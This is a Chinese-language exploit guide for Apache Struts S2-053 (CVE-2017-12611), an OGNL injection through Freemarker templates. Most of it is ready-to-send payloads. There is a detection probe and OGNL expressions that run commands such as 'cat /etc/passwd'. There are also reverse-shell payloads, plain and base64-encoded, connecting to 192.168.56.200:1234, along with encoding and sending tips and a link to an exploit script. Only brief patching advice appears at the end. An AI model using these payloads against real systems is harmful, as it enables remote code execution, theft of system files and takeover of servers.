S2-053 CVE-2017-12611 远程代码执行
漏洞名称
S2-053 CVE-2017-12611 远程代码执行
利用条件
Struts 2.0.0 - 2.3.33
Struts 2.5 - Struts 2.5.10.1
漏洞原理
Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次后变成离开一个表达式,被OGNL解析第二次,导致任意命令执行漏洞。
漏洞利用
漏洞检测
简单测试 %{10+10}
命令执行
poc1
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#context.setMemberAccess(#dm)))).(#cmds=({'/bin/bash','-c','cat /etc/passwd'})).(#p=new+java.lang.ProcessBuilder(#cmds)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
使用在线encodeURI编码工具进行编码
URL在线编码解码|encodeURIComponent在线转换|encodeURI在线转换|decodeURIComponent在线转换|decodeURI在线转换|GEEKAPP开发者在线工具
注意:在poc最后要存在至少一个空行 (post发包特性)
poc2
适用于windows,linux
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
使用burp将特殊字符编码后或者在线URLEncode编码,URLDecode解码工具 - UU在线工具 (uutool.cn)编码后发送
注意:在poc最后要存在至少一个空行 (post发包特性)
反弹shell
poc1反弹shell
/bin/bash -i >& /dev/tcp/192.168.56.200/1234 0>&1
{echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}
进行将反弹命令base64编码后带入表达式
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#context.setMemberAccess(#dm)))).(#cmds=({'/bin/bash','-c','{echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}'})).(#p=new+java.lang.ProcessBuilder(#cmds)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
poc2反弹shell
bash -i >& /dev/tcp/192.168.56.200/1234 0>&1
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/192.168.56.200/1234 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
EXP脚本
https://github.com/Closerset/S2-053-EXP
命令执行
反弹shell
修复建议
-
开发人员应避免在Freemarker的结构代码中使用可写的属性,或者使用只读属性来初始化value属性(仅限getter属性)。
-
升级到最新版